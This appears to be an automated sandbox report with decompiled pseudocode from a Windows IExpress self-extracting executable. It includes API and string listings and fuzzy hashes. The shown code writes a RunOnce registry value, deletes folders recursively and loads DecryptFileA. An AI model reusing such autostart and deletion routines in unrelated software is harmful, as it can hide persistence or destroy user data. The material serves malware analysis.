						return E011D6CE0(_t12, _t36, _v8 ^ _t46, _t43, _t44, _t45);
					}
					_t14 = E011D55A0(_t53); // executed
					if(_t14 == 0) {
						goto L16;
					} else {
						_t45 = 0x105;
						GetSystemDirectoryA( &_v272, 0x105);
						_t43 = 0x105;
						_t40 =  &_v272;
						E011D658A( &_v272, 0x105, "advapi32.dll");
						_t36 = LoadLibraryA( &_v272);
						_t44 = 0;
						if(_t36 != 0) {
							_t31 = GetProcAddress(_t36, "DecryptFileA");
							_v276 = _t31;
							if(_t31 != 0) {
								_t45 = _t47;
								_t40 = _t31;
								 *0x11da288("C:\Users\hardz\AppData\Local\Temp\IXP000.TMP\", 0); // executed
								_v276();
								if(_t47 != _t47) {
									_t40 = 4;
									asm("int 0x29");
								}
							}
						}
						FreeLibrary(_t36);
						_t58 =  *0x11d8a24 - _t44; // 0x0
						if(_t58 != 0) {
							L14:
							_t21 = SetCurrentDirectoryA("C:\Users\hardz\AppData\Local\Temp\IXP000.TMP\"); // executed
							if(_t21 != 0) {
								__eflags =  *0x11d8a2c - _t44; // 0x0
								if(__eflags != 0) {
									L20:
									__eflags =  *0x11d8d48 & 0x000000c0;
									if(( *0x11d8d48 & 0x000000c0) == 0) {
										_t41 =  *0x11d9a40; // 0x3, executed
										_t26 = E011D256D(_t41); // executed
										_t44 = _t26;
									}
									_t22 =  *0x11d8a24; // 0x0
									 *0x11d9a44 = _t44;
									__eflags = _t22;
									if(_t22 != 0) {
										L26:
										__eflags =  *0x11d8a38;
										if( *0x11d8a38 == 0) {
											__eflags = _t22;
											if(__eflags == 0) {
												E011D4169(__eflags);
											}
										}
										_t12 = 1;
										goto L17;
									} else {
										__eflags =  *0x11d9a30 - _t22; // 0x0
										if(__eflags != 0) {
											goto L26;
										}
										_t25 = E011D3BA2(); // executed
										__eflags = _t25;
										if(_t25 == 0) {
											goto L16;
										}
										_t22 =  *0x11d8a24; // 0x0
										goto L26;
									}
								}
								_t27 = E011D3B26(_t40, _t44);
								__eflags = _t27;
								if(_t27 == 0) {
									goto L16;
								}
								goto L20;
							}
							_t43 = 0x4bc;
							E011D44B9(0, 0x4bc, _t44, _t44, 0x10, _t44);
							 *0x11d9124 = E011D6285();
							goto L16;
						}
						_t59 =  *0x11d9a30 - _t44; // 0x0
						if(_t59 != 0) {
							goto L14;
						}
						_t30 = E011D621E(); // executed
						if(_t30 == 0) {
							goto L16;
						}
						goto L14;
					}
				}
				_t49 =  *0x11d8a24;
				if( *0x11d8a24 != 0) {
					L4:
					_t34 = E011D3A3F(_t51);
					_t52 = _t34;
					if(_t34 == 0) {
						goto L16;
					}
					goto L5;
				}
				if(E011D51E5(_t49) == 0) {
					goto L16;
				}
				_t51 =  *0x11d8a38;
				if( *0x11d8a38 != 0) {
					goto L5;
				}
				goto L4;
			}

0x011d2f1d
0x011d2f28
0x011d2f2f
0x011d2f3d
0x011d2f6c
0x011d2f6c
0x011d2f71
0x011d2f73
0x011d3041
0x011d3041
0x011d3043
0x011d3053
0x011d3053
0x011d2f79
0x011d2f80
0x00000000
0x011d2f86
0x011d2f86
0x011d2f93
0x011d2f9e
0x011d2fa0
0x011d2fa6
0x011d2fb8
0x011d2fba
0x011d2fbe
0x011d2fc6
0x011d2fcc
0x011d2fd4
0x011d2fd6
0x011d2fd8
0x011d2fe0
0x011d2fe6
0x011d2fee
0x011d2ff0
0x011d2ff5
0x011d2ff5
0x011d2fee
0x011d2fd4
0x011d2ff8
0x011d2ffe
0x011d3004
0x011d3017
0x011d301c
0x011d3024
0x011d3054
0x011d305a
0x011d3065
0x011d3065
0x011d306c
0x011d306e
0x011d3075
0x011d307a
0x011d307a
0x011d307c
0x011d3081
0x011d3087
0x011d3089
0x011d30a1
0x011d30a1
0x011d30a9
0x011d30ab
0x011d30ad
0x011d30af
0x011d30af
0x011d30ad
0x011d30b6
0x00000000
0x011d308b
0x011d308b
0x011d3091
0x00000000
0x00000000
0x011d3093
0x011d3098
0x011d309a
0x00000000
0x00000000
0x011d309c
0x00000000
0x011d309c
0x011d3089
0x011d305c
0x011d3061
0x011d3063
0x00000000
0x00000000
0x00000000
0x011d3063
0x011d302b
0x011d3032
0x011d303c
0x00000000
0x011d303c
0x011d3006
0x011d300c
0x00000000
0x00000000
0x011d300e
0x011d3015
0x00000000
0x00000000
0x00000000
0x011d3015
0x011d2f80
0x011d2f3f
0x011d2f46
0x011d2f5f
0x011d2f5f
0x011d2f64
0x011d2f66
0x00000000
0x00000000
0x00000000
0x011d2f66
0x011d2f4f
0x00000000
0x00000000
0x011d2f55
0x011d2f5d
0x00000000
0x00000000
0x00000000

APIs

GetSystemDirectoryA.KERNEL32 ref: 011D2F93
LoadLibraryA.KERNEL32(?,advapi32.dll), ref: 011D2FB2
GetProcAddress.KERNEL32(00000000,DecryptFileA), ref: 011D2FC6
DecryptFileA.ADVAPI32 ref: 011D2FE6
FreeLibrary.KERNEL32(00000000), ref: 011D2FF8
SetCurrentDirectoryA.KERNELBASE(C:\Users\user\AppData\Local\Temp\IXP000.TMP\), ref: 011D301C

Part of subcall function 011D51E5: LocalAlloc.KERNEL32(00000040,00000001,00000000,?,00000002,00000000,011D2F4D,?,00000002,00000000), ref: 011D5201

Strings

advapi32.dll, xrefs: 011D2F99
DecryptFileA, xrefs: 011D2FC0
C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 011D2FDB, 011D3017

Memory Dump Source

Source File: 00000000.00000002.403676389.00000000011D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 011D0000, based on PE: true

Associated: 00000000.00000002.403646115.00000000011D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403686161.00000000011D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403693552.00000000011DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403693552.00000000011DC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_11d0000_file.jbxd

Similarity

API ID: DirectoryLibrary$AddressAllocCurrentDecryptFileFreeLoadLocalProcSystem
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\$DecryptFileA$advapi32.dll
API String ID: 2126469477-58291647
Opcode ID: 11bc5364339b7d96582c4d2fb9ca56b57fca66e7146391941190a7d15ad5fea2
Instruction ID: 1b9fea424e377816ac01b397903ee3a882a572e15f5c43d1b7072dcdcafb6764
Opcode Fuzzy Hash: 11bc5364339b7d96582c4d2fb9ca56b57fca66e7146391941190a7d15ad5fea2
Instruction Fuzzy Hash: F641F771A132169ADB3DAB79AC44B6A37A8FF54758F000179D971C2185EB74C9C0CB63

Uniqueness

Uniqueness Score: -1.00%

Function 011D5467 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 101
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 75%

			E011D5467(CHAR* __ecx, void* __edx, char* _a4) {
				signed int _v8;
				char _v268;
				struct _SYSTEM_INFO _v304;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t10;
				void* _t13;
				intOrPtr _t14;
				void* _t16;
				void* _t20;
				signed int _t26;
				void* _t28;
				void* _t29;
				CHAR* _t48;
				signed int _t49;
				intOrPtr _t61;

				_t10 =  *0x11d8004; // 0xdc3102d5
				_v8 = _t10 ^ _t49;
				_push(__ecx);
				if(__edx == 0) {
					_t48 = 0x11d91e4;
					_t42 = 0x104;
					E011D1680(0x11d91e4, 0x104);
					L14:
					_t13 = E011D58C8(_t48); // executed
					if(_t13 != 0) {
						L17:
						_t42 = _a4;
						if(_a4 == 0) {
							L23:
							 *0x11d9124 = 0;
							_t14 = 1;
							L24:
							return E011D6CE0(_t14, 0, _v8 ^ _t49, _t42, 1, _t48);
						}
						_t16 = E011D597D(_t48, _t42, 1, 0); // executed
						if(_t16 != 0) {
							goto L23;
						}
						_t61 =  *0x11d8a20; // 0x0
						if(_t61 != 0) {
							 *0x11d8a20 = 0;
							RemoveDirectoryA(_t48);
						}
						L22:
						_t14 = 0;
						goto L24;
					}
					if(CreateDirectoryA(_t48, 0) == 0) {
						 *0x11d9124 = E011D6285();
						goto L22;
					}
					 *0x11d8a20 = 1;
					goto L17;
				}
				_t42 =  &_v268;
				_t20 = E011D53A1(__ecx,  &_v268); // executed
				if(_t20 == 0) {
					goto L22;
				}
				_push(__ecx);
				_t48 = 0x11d91e4;
				E011D1781(0x11d91e4, 0x104, __ecx,  &_v268);
				if(( *0x11d9a34 & 0x00000020) == 0) {
					L12:
					_t42 = 0x104;
					E011D658A(_t48, 0x104, 0x11d1140);
					goto L14;
				}
				GetSystemInfo( &_v304);
				_t26 = _v304.dwOemId & 0x0000ffff;
				if(_t26 == 0) {
					_push("i386");
					L11:
					E011D658A(_t48, 0x104);
					goto L12;
				}
				_t28 = _t26 - 1;
				if(_t28 == 0) {
					_push("mips");
					goto L11;
				}
				_t29 = _t28 - 1;
				if(_t29 == 0) {
					_push("alpha");
					goto L11;
				}
				if(_t29 != 1) {
					goto L12;
				}
				_push("ppc");
				goto L11;
			}

0x011d5472
0x011d5479
0x011d5481
0x011d5484
0x011d551c
0x011d5521
0x011d5528
0x011d552d
0x011d552f
0x011d5539
0x011d554d
0x011d554d
0x011d5552
0x011d5585
0x011d5585
0x011d558b
0x011d558d
0x011d559d
0x011d559d
0x011d5557
0x011d555e
0x00000000
0x00000000
0x011d5560
0x011d5566
0x011d5569
0x011d556f
0x011d556f
0x011d5581
0x011d5581
0x00000000
0x011d5581
0x011d5545
0x011d557c
0x00000000
0x011d557c
0x011d5547
0x00000000
0x011d5547
0x011d548a
0x011d5490
0x011d5497
0x00000000
0x00000000
0x011d549d
0x011d54ab
0x011d54b4
0x011d54c0
0x011d550c
0x011d5511
0x011d5515
0x00000000
0x011d5515
0x011d54c9
0x011d54d6
0x011d54d8
0x011d54fe
0x011d5503
0x011d5507
0x00000000
0x011d5507
0x011d54da
0x011d54dd
0x011d54f7
0x00000000
0x011d54f7
0x011d54df
0x011d54e2
0x011d54f0
0x00000000
0x011d54f0
0x011d54e7
0x00000000
0x00000000
0x011d54e9
0x00000000

APIs

GetSystemInfo.KERNEL32(?,?,?,?,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 011D54C9
CreateDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 011D553D
RemoveDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 011D556F

Part of subcall function 011D53A1: RemoveDirectoryA.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,?,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 011D53FB
Part of subcall function 011D53A1: GetFileAttributesA.KERNELBASE(?,?,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 011D5402
Part of subcall function 011D53A1: GetTempFileNameA.KERNEL32(C:\Users\user\AppData\Local\Temp\IXP000.TMP\,IXP,00000000,?,?,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 011D541F
Part of subcall function 011D53A1: DeleteFileA.KERNEL32(?,?,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 011D542B
Part of subcall function 011D53A1: CreateDirectoryA.KERNEL32(?,00000000,?,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 011D5434

Strings

ppc, xrefs: 011D54E9
alpha, xrefs: 011D54F0
mips, xrefs: 011D54F7
C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 011D547D, 011D5481, 011D54AB, 011D551C, 011D553C, 011D5568
i386, xrefs: 011D54FE

Memory Dump Source

Source File: 00000000.00000002.403676389.00000000011D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 011D0000, based on PE: true

Associated: 00000000.00000002.403646115.00000000011D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403686161.00000000011D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403693552.00000000011DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403693552.00000000011DC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_11d0000_file.jbxd

Similarity

API ID: Directory$File$CreateRemove$AttributesDeleteInfoNameSystemTemp
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\$alpha$i386$mips$ppc
API String ID: 1979080616-186922987
Opcode ID: e1fab79cd94162263e3e5ad21b1dfed8bffedec25706d9d0603a51364773b085
Instruction ID: 07b3003909719bb01392a76ae3c732507c14ffc67a1ad823ace9feea3380c0de
Opcode Fuzzy Hash: e1fab79cd94162263e3e5ad21b1dfed8bffedec25706d9d0603a51364773b085
Instruction Fuzzy Hash: C2314771B02225ABDB6D9E3D9C44A7F7BBBAB91254B84013AE902C2144DF74CA41C792

Uniqueness

Uniqueness Score: -1.00%

Function 011D2390 Relevance: 12.1, APIs: 8, Instructions: 93
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 86%

			E011D2390(CHAR* __ecx) {
				signed int _v8;
				char _v276;
				char _v280;
				char _v284;
				struct _WIN32_FIND_DATAA _v596;
				struct _WIN32_FIND_DATAA _v604;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t21;
				int _t36;
				void* _t46;
				void* _t62;
				void* _t63;
				CHAR* _t65;
				void* _t66;
				signed int _t67;
				signed int _t69;

				_t69 = (_t67 & 0xfffffff8) - 0x254;
				_t21 =  *0x11d8004; // 0xdc3102d5
				_t22 = _t21 ^ _t69;
				_v8 = _t21 ^ _t69;
				_t65 = __ecx;
				if(__ecx == 0 ||  *((char*)(__ecx)) == 0) {
					L10:
					_pop(_t62);
					_pop(_t66);
					_pop(_t46);
					return E011D6CE0(_t22, _t46, _v8 ^ _t69, _t58, _t62, _t66);
				} else {
					E011D1680( &_v276, 0x104, __ecx);
					_t58 = 0x104;
					E011D16B3( &_v280, 0x104, "*");
					_t22 = FindFirstFileA( &_v284,  &_v604); // executed
					_t63 = _t22;
					if(_t63 == 0xffffffff) {
						goto L10;
					} else {
						goto L3;
					}
					do {
						L3:
						_t58 = 0x104;
						E011D1680( &_v276, 0x104, _t65);
						if((_v604.ftCreationTime & 0x00000010) == 0) {
							_t58 = 0x104;
							E011D16B3( &_v276, 0x104,  &(_v596.dwReserved1));
							SetFileAttributesA( &_v280, 0x80);
							DeleteFileA( &_v280);
						} else {
							if(lstrcmpA( &(_v596.dwReserved1), ".") != 0 && lstrcmpA( &(_v596.cFileName), "..") != 0) {
								E011D16B3( &_v276, 0x104,  &(_v596.cFileName));
								_t58 = 0x104;
								E011D658A( &_v280, 0x104, 0x11d1140);
								E011D2390( &_v284);
							}
						}
						_t36 = FindNextFileA(_t63,  &_v596); // executed
					} while (_t36 != 0);
					FindClose(_t63); // executed
					_t22 = RemoveDirectoryA(_t65); // executed
					goto L10;
				}
			}

0x011d2398
0x011d239e
0x011d23a3
0x011d23a5
0x011d23ae
0x011d23b3
0x011d24cb
0x011d24d2
0x011d24d3
0x011d24d4
0x011d24df
0x011d23c2
0x011d23d1
0x011d23db
0x011d23e4
0x011d23f6
0x011d23fc
0x011d2401
0x00000000
0x00000000
0x00000000
0x00000000
0x011d2407
0x011d2407
0x011d2408
0x011d2411
0x011d241f
0x011d247a
0x011d2483
0x011d2495
0x011d24a3
0x011d2421
0x011d242f
0x011d2453
0x011d245d
0x011d2466
0x011d2472
0x011d2472
0x011d242f
0x011d24af
0x011d24b5
0x011d24be
0x011d24c5
0x00000000
0x011d24c5

APIs

FindFirstFileA.KERNELBASE(?,011D8A3A,011D11F4,011D8A3A,00000000,?,?), ref: 011D23F6
lstrcmpA.KERNEL32(?,011D11F8), ref: 011D2427
lstrcmpA.KERNEL32(?,011D11FC), ref: 011D243B
SetFileAttributesA.KERNEL32(?,00000080,?), ref: 011D2495
DeleteFileA.KERNEL32(?), ref: 011D24A3
FindNextFileA.KERNELBASE(00000000,00000010), ref: 011D24AF
FindClose.KERNELBASE(00000000), ref: 011D24BE
RemoveDirectoryA.KERNELBASE(011D8A3A), ref: 011D24C5

Memory Dump Source

Source File: 00000000.00000002.403676389.00000000011D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 011D0000, based on PE: true

Associated: 00000000.00000002.403646115.00000000011D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403686161.00000000011D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403693552.00000000011DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403693552.00000000011DC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_11d0000_file.jbxd

Similarity

API ID: File$Find$lstrcmp$AttributesCloseDeleteDirectoryFirstNextRemove
String ID:
API String ID: 836429354-0
Opcode ID: 72abc052bb161d9775e73370d3c70ff317a218e7de1d30072bc92eeca8c9ac80
Instruction ID: ce6f304be6a0ceeb7648285ed18c4367c00103b99f6a262edd4b35c773a3464b
Opcode Fuzzy Hash: 72abc052bb161d9775e73370d3c70ff317a218e7de1d30072bc92eeca8c9ac80
Instruction Fuzzy Hash: 3D31B332605741ABD338EBB8DD88AEB77ECAFD4309F04493DA96583280EF749549C752

Uniqueness

Uniqueness Score: -1.00%

Function 011D2BFB Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 63
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 70%

			E011D2BFB(struct HINSTANCE__* _a4, intOrPtr _a12) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				long _t4;
				void* _t6;
				intOrPtr _t7;
				void* _t9;
				struct HINSTANCE__* _t12;
				intOrPtr* _t17;
				signed char _t19;
				intOrPtr* _t21;
				void* _t22;
				void* _t24;
				intOrPtr _t32;

				_t4 = GetVersion();
				if(_t4 >= 0 && _t4 >= 6) {
					_t12 = GetModuleHandleW(L"Kernel32.dll");
					if(_t12 != 0) {
						_t21 = GetProcAddress(_t12, "HeapSetInformation");
						if(_t21 != 0) {
							_t17 = _t21;
							 *0x11da288(0, 1, 0, 0);
							 *_t21();
							_t29 = _t24 - _t24;
							if(_t24 != _t24) {
								_t17 = 4;
								asm("int 0x29");
							}
						}
					}
				}
				_t20 = _a12;
				_t18 = _a4;
				 *0x11d9124 = 0;
				if(E011D2CAA(_a4, _a12, _t29, _t17) != 0) {
					_t9 = E011D2F1D(_t18, _t20); // executed
					_t22 = _t9; // executed
					E011D52B6(0, _t18, _t21, _t22); // executed
					if(_t22 != 0) {
						_t32 =  *0x11d8a3a; // 0x0
						if(_t32 == 0) {
							_t19 =  *0x11d9a2c; // 0x0
							if((_t19 & 0x00000001) != 0) {
								E011D1F90(_t19, _t21, _t22);
							}
						}
					}
				}
				_t6 =  *0x11d8588; // 0x0
				if(_t6 != 0) {
					CloseHandle(_t6);
				}
				_t7 =  *0x11d9124; // 0x0
				return _t7;
			}

0x011d2c03
0x011d2c0d
0x011d2c18
0x011d2c20
0x011d2c2e
0x011d2c32
0x011d2c36
0x011d2c3d
0x011d2c43
0x011d2c45
0x011d2c47
0x011d2c49
0x011d2c4e
0x011d2c4e
0x011d2c47
0x011d2c32
0x011d2c20
0x011d2c50
0x011d2c54
0x011d2c57
0x011d2c64
0x011d2c66
0x011d2c6b
0x011d2c6d
0x011d2c74
0x011d2c76
0x011d2c7c
0x011d2c7e
0x011d2c87
0x011d2c89
0x011d2c89
0x011d2c87
0x011d2c7c
0x011d2c74
0x011d2c8e
0x011d2c95
0x011d2c98
0x011d2c98
0x011d2c9e
0x011d2ca7

APIs

GetVersion.KERNEL32(?,00000002,00000000,?,011D6BB0,011D0000,00000000,00000002,0000000A), ref: 011D2C03
GetModuleHandleW.KERNEL32(Kernel32.dll,?,011D6BB0,011D0000,00000000,00000002,0000000A), ref: 011D2C18
GetProcAddress.KERNEL32(00000000,HeapSetInformation), ref: 011D2C28
CloseHandle.KERNEL32(00000000,?,?,011D6BB0,011D0000,00000000,00000002,0000000A), ref: 011D2C98

Strings

HeapSetInformation, xrefs: 011D2C22
Kernel32.dll, xrefs: 011D2C13

Memory Dump Source

Source File: 00000000.00000002.403676389.00000000011D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 011D0000, based on PE: true

Associated: 00000000.00000002.403646115.00000000011D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403686161.00000000011D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403693552.00000000011DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403693552.00000000011DC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_11d0000_file.jbxd

Similarity

API ID: Handle$AddressCloseModuleProcVersion
String ID: HeapSetInformation$Kernel32.dll
API String ID: 62482547-3460614246
Opcode ID: ab9790060bea6a536fc3f2cde415c496f5deabaa617f35f9cbf9a4fbc30e5c0f
Instruction ID: 5a5fdb4a499e0b79ee568c7714857821c973eb7d877512742ab611ba73bad100
Opcode Fuzzy Hash: ab9790060bea6a536fc3f2cde415c496f5deabaa617f35f9cbf9a4fbc30e5c0f
Instruction Fuzzy Hash: 3011E9712033056BE73CBAF9A888B673B699F442A4B040035FA30D3248DB75DC81C761

Uniqueness

Uniqueness Score: -1.00%

Function 011D6F40 Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E011D6F40() {

				SetUnhandledExceptionFilter(E011D6EF0); // executed
				return 0;
			}

0x011d6f45
0x011d6f4d

APIs

SetUnhandledExceptionFilter.KERNELBASE(Function_00006EF0), ref: 011D6F45

Memory Dump Source

Source File: 00000000.00000002.403676389.00000000011D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 011D0000, based on PE: true

Associated: 00000000.00000002.403646115.00000000011D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403686161.00000000011D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403693552.00000000011DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403693552.00000000011DC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_11d0000_file.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: a7acc0f12de9cbb110ae9bf7ce452908f71724cfffe726ac4234c88e0bb9ba10
Instruction ID: 835613f9326d6420dc11ae62b9e44cadb9789b001f9fad4f51d3c3fa02ac8a54
Opcode Fuzzy Hash: a7acc0f12de9cbb110ae9bf7ce452908f71724cfffe726ac4234c88e0bb9ba10
Instruction Fuzzy Hash: 1890026125311097DA289B71A91951579915E4D5427815474E021C5448DB6040809611

Uniqueness

Uniqueness Score: -1.00%

Function 011D202A Relevance: 42.2, APIs: 16, Strings: 8, Instructions: 185
registrylibrarymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 93%

			E011D202A(struct HINSTANCE__* __edx) {
				signed int _v8;
				char _v268;
				char _v528;
				void* _v532;
				int _v536;
				int _v540;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t28;
				long _t36;
				long _t41;
				struct HINSTANCE__* _t46;
				intOrPtr _t49;
				intOrPtr _t50;
				CHAR* _t54;
				void _t56;
				signed int _t66;
				intOrPtr* _t72;
				void* _t73;
				void* _t75;
				void* _t80;
				intOrPtr* _t81;
				void* _t86;
				void* _t87;
				void* _t90;
				_Unknown_base(*)()* _t91;
				signed int _t93;
				void* _t94;
				void* _t95;

				_t79 = __edx;
				_t28 =  *0x11d8004; // 0xdc3102d5
				_v8 = _t28 ^ _t93;
				_t84 = 0x104;
				memset( &_v268, 0, 0x104);
				memset( &_v528, 0, 0x104);
				_t95 = _t94 + 0x18;
				_t66 = 0;
				_t36 = RegCreateKeyExA(0x80000002, "Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", 0, 0, 0, 0x2001f, 0,  &_v532,  &_v536); // executed
				if(_t36 != 0) {
					L24:
					return E011D6CE0(_t36, _t66, _v8 ^ _t93, _t79, _t84, _t86);
				}
				_push(_t86);
				_t87 = 0;
				while(1) {
					E011D171E("wextract_cleanup0", 0x50, "wextract_cleanup%d", _t87);
					_t95 = _t95 + 0x10;
					_t41 = RegQueryValueExA(_v532, "wextract_cleanup0", 0, 0, 0,  &_v540); // executed
					if(_t41 != 0) {
						break;
					}
					_t87 = _t87 + 1;
					if(_t87 < 0xc8) {
						continue;
					}
					break;
				}
				if(_t87 != 0xc8) {
					GetSystemDirectoryA( &_v528, _t84);
					_t79 = _t84;
					E011D658A( &_v528, _t84, "advpack.dll");
					_t46 = LoadLibraryA( &_v528); // executed
					_t84 = _t46;
					if(_t84 == 0) {
						L10:
						if(GetModuleFileNameA( *0x11d9a3c,  &_v268, 0x104) == 0) {
							L17:
							_t36 = RegCloseKey(_v532);
							L23:
							_pop(_t86);
							goto L24;
						}
						L11:
						_t72 =  &_v268;
						_t80 = _t72 + 1;
						do {
							_t49 =  *_t72;
							_t72 = _t72 + 1;
						} while (_t49 != 0);
						_t73 = _t72 - _t80;
						_t81 = 0x11d91e4;
						do {
							_t50 =  *_t81;
							_t81 = _t81 + 1;
						} while (_t50 != 0);
						_t84 = _t73 + 0x50 + _t81 - 0x11d91e5;
						_t90 = LocalAlloc(0x40, _t73 + 0x50 + _t81 - 0x11d91e5);
						if(_t90 != 0) {
							 *0x11d8580 = _t66 ^ 0x00000001;
							_t54 = "rundll32.exe %sadvpack.dll,DelNodeRunDLL32 \"%s\"";
							if(_t66 == 0) {
								_t54 = "%s /D:%s";
							}
							_push("C:\Users\hardz\AppData\Local\Temp\IXP000.TMP\");
							E011D171E(_t90, _t84, _t54,  &_v268);
							_t75 = _t90;
							_t23 = _t75 + 1; // 0x1
							_t79 = _t23;
							do {
								_t56 =  *_t75;
								_t75 = _t75 + 1;
							} while (_t56 != 0);
							_t24 = _t75 - _t79 + 1; // 0x2
							RegSetValueExA(_v532, "wextract_cleanup0", 0, 1, _t90, _t24); // executed
							RegCloseKey(_v532); // executed
							_t36 = LocalFree(_t90);
							goto L23;
						}
						_t79 = 0x4b5;
						E011D44B9(0, 0x4b5, _t51, _t51, 0x10, _t51);
						goto L17;
					}
					_t91 = GetProcAddress(_t84, "DelNodeRunDLL32");
					_t66 = 0 | _t91 != 0x00000000;
					FreeLibrary(_t84); // executed
					if(_t91 == 0) {
						goto L10;
					}
					if(GetSystemDirectoryA( &_v268, 0x104) != 0) {
						E011D658A( &_v268, 0x104, 0x11d1140);
					}
					goto L11;
				}
				_t36 = RegCloseKey(_v532);
				 *0x11d8530 = _t66;
				goto L23;
			}

0x011d202a
0x011d2035
0x011d203c
0x011d2041
0x011d2050
0x011d205f
0x011d2064
0x011d206f
0x011d208c
0x011d2094
0x011d2257
0x011d2266
0x011d2266
0x011d209a
0x011d209b
0x011d209d
0x011d20aa
0x011d20af
0x011d20c9
0x011d20d1
0x00000000
0x00000000
0x011d20d3
0x011d20da
0x00000000
0x00000000
0x00000000
0x011d20da
0x011d20e2
0x011d2103
0x011d210e
0x011d2116
0x011d2122
0x011d2128
0x011d212c
0x011d2179
0x011d2194
0x011d21de
0x011d21e4
0x011d2256
0x011d2256
0x00000000
0x011d2256
0x011d2196
0x011d2196
0x011d219c
0x011d219f
0x011d219f
0x011d21a1
0x011d21a2
0x011d21a6
0x011d21a8
0x011d21b0
0x011d21b0
0x011d21b2
0x011d21b3
0x011d21bc
0x011d21c7
0x011d21cb
0x011d21f1
0x011d21f6
0x011d21fd
0x011d21ff
0x011d21ff
0x011d2204
0x011d2213
0x011d2218
0x011d221d
0x011d221d
0x011d2220
0x011d2220
0x011d2222
0x011d2223
0x011d2229
0x011d223d
0x011d2249
0x011d2250
0x00000000
0x011d2250
0x011d21d2
0x011d21d9
0x00000000
0x011d21d9
0x011d213a
0x011d2141
0x011d2144
0x011d214c
0x00000000
0x00000000
0x011d2163
0x011d2172
0x011d2172
0x00000000
0x011d2163
0x011d20ea
0x011d20f0
0x00000000

APIs

memset.MSVCRT ref: 011D2050
memset.MSVCRT ref: 011D205F
RegCreateKeyExA.KERNELBASE(80000002,Software\Microsoft\Windows\CurrentVersion\RunOnce,00000000,00000000,00000000,0002001F,00000000,?,?,?,?,?,?,00000000,00000000), ref: 011D208C

Part of subcall function 011D171E: _vsnprintf.MSVCRT ref: 011D1750

RegQueryValueExA.KERNELBASE(?,wextract_cleanup0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 011D20C9
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 011D20EA
GetSystemDirectoryA.KERNEL32 ref: 011D2103
LoadLibraryA.KERNELBASE(?,advpack.dll,?,?,?,?,?,?,?,?,00000000,00000000), ref: 011D2122
GetProcAddress.KERNEL32(00000000,DelNodeRunDLL32), ref: 011D2134
FreeLibrary.KERNELBASE(00000000,?,?,?,?,?,?,?,?,00000000,00000000), ref: 011D2144
